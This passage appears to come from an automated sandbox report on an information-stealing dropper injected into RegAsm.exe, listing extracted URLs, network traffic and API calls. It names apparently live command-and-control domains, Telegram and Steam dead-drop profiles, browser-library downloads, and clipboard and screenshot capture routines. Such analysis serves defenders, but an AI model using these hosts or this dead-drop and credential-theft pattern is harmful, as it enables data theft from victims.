Source: RegAsm.exe, 0000000E.00000002.2863943868.000000000127A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.00000000012BB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/
Source: RegAsm.exe, 0000000E.00000002.2863943868.000000000127A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/#
Source: RegAsm.exe, 0000000E.00000002.2863943868.000000000127A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/6
Source: RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/6z
Source: RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/9z
Source: RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/U
Source: RegAsm.exe, 0000000E.00000002.2863943868.0000000001231000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/ZHh
Source: RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/freebl3.dll
Source: RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/i
Source: RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/mozglue.dllT
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/msvcp140.dll6
Source: RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/nss3.dll
Source: RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/nss3.dllF
Source: RegAsm.exe, 0000000E.00000002.2863943868.000000000127A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/ping
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/softokn3.dll
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/sql.dll
Source: RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/sql.dllLMEM8(
Source: RegAsm.exe, 0000000E.00000002.2863943868.0000000001231000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/u
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/vcruntime140.dll
Source: RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/z
Source: RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2762920375.00000000004E6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2762920375.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80
Source: RegAsm.exe, 0000000E.00000002.2861588723.00000000004C5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80/2024
Source: RegAsm.exe, 0000001B.00000002.2762920375.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:805938.134
Source: RegAsm.exe, 0000000E.00000002.2861588723.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80AKE
Source: RegAsm.exe, 0000000E.00000002.2861588723.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80AKEsrss.exe
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80GCA
Source: RegAsm.exe, 0000000E.00000002.2861588723.00000000004C5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80Lggz.exe
Source: RegAsm.exe, 0000001B.00000002.2762920375.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80acPdLggz.exe
Source: RegAsm.exe, 0000000E.00000002.2861588723.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2861588723.000000000048F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2762920375.000000000048F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2762920375.00000000004E6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2762920375.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80ta
Source: RegAsm.exe, 0000001B.00000002.2762920375.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80xe
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.2624308757.000000002038D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2603031796.000000001A3EA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3043954792.000000001B33C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3066275047.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agentyanlark.site/api
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bellykmrebk.site/api
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bellykmrebk.site/apij
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chaptermusu.store/
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chaptermusu.store/M
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chaptermusu.store/api
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chaptermusu.store/o
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chaptermusu.store/q
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://chaptermusu.store:443/api
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://delaylacedmn.site/api
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000146F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/A
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/i
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EGDGCGCFHI.exe, 0000000B.00000002.2560292223.000000000440B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: file.exe, 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EGDGCGCFHI.exe, 0000000B.00000002.2560292223.000000000440B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uMozilla/5.0
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.2585204810.00000000014F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000003.00000002.2602299616.0000000019E6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: RegAsm.exe, 0000000E.00000002.2863943868.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/N
Source: file.exe, 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EGDGCGCFHI.exe, 0000000B.00000002.2560292223.000000000440B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 0000000E.00000002.2863943868.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/i
Source: RegAsm.exe, 0000000E.00000002.2863943868.0000000001200000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2861588723.000000000048F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2863943868.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2762920375.000000000048F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamsemlg
Source: RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamsemlgT9
Source: file.exe, 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EGDGCGCFHI.exe, 0000000B.00000002.2560292223.000000000440B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamsemlgfjnsdajbgfq12gdhttps://steamcommunity.com/profiles/76561199780418869u55uhttps:/
Source: RegAsm.exe, 0000000E.00000002.2863943868.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/jamsemlgu
Source: RegAsm.exe, 0000000A.00000002.2584297027.0000000001462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://underlinemdsj.site/api
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://underlinemdsj.site/icatl
Source: RegAsm.exe, 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2863943868.0000000001200000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://writekdmsnu.site/api
Source: RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://writekdmsnu.site/apim1L
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe, 00000003.00000002.2602299616.0000000019E6C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3023059126.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/.exe
Source: RegAsm.exe, 00000012.00000002.3023059126.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/XtskAOKlzbDcHFgqacPdLggz.exe
Source: RegAsm.exe, 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/e:
Source: RegAsm.exe, 00000012.00000002.3023059126.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: RegAsm.exe, 00000003.00000002.2602299616.0000000019E6C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3023059126.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: RegAsm.exe, 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/ows:
Source: RegAsm.exe, 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/xe
Source: RegAsm.exe, 00000012.00000002.3023059126.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.169:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.129:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.169:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49741 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 10_2_00439D70 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

10_2_00439D70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 10_2_00439D70 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

10_2_00439D70

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

3_2_00411F55

System Summary

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 394240
Source: KECBKKEBKE.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 360448
Source: 66fa2b049020f_ldnf[1].exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 360448
Source: EGDGCGCFHI.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 394240
Source: 66fa2afc5abea_vasd[1].exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 394240
Source: DBGIJEHIID.exe.3.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 314368

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	3_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C57B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C57B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C57B8C0 rand_s,NtQueryVirtualMemory,	3_2_6C57B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C57B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	3_2_6C57B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C51F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	3_2_6C51F280

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041C5BC	3_2_0041C5BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041B85C	3_2_0041B85C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DA83	3_2_0042DA83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D313	3_2_0042D313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00419654	3_2_00419654
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DE6B	3_2_0042DE6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042CE7E	3_2_0042CE7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042D6B1	3_2_0042D6B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C5135A0	3_2_6C5135A0
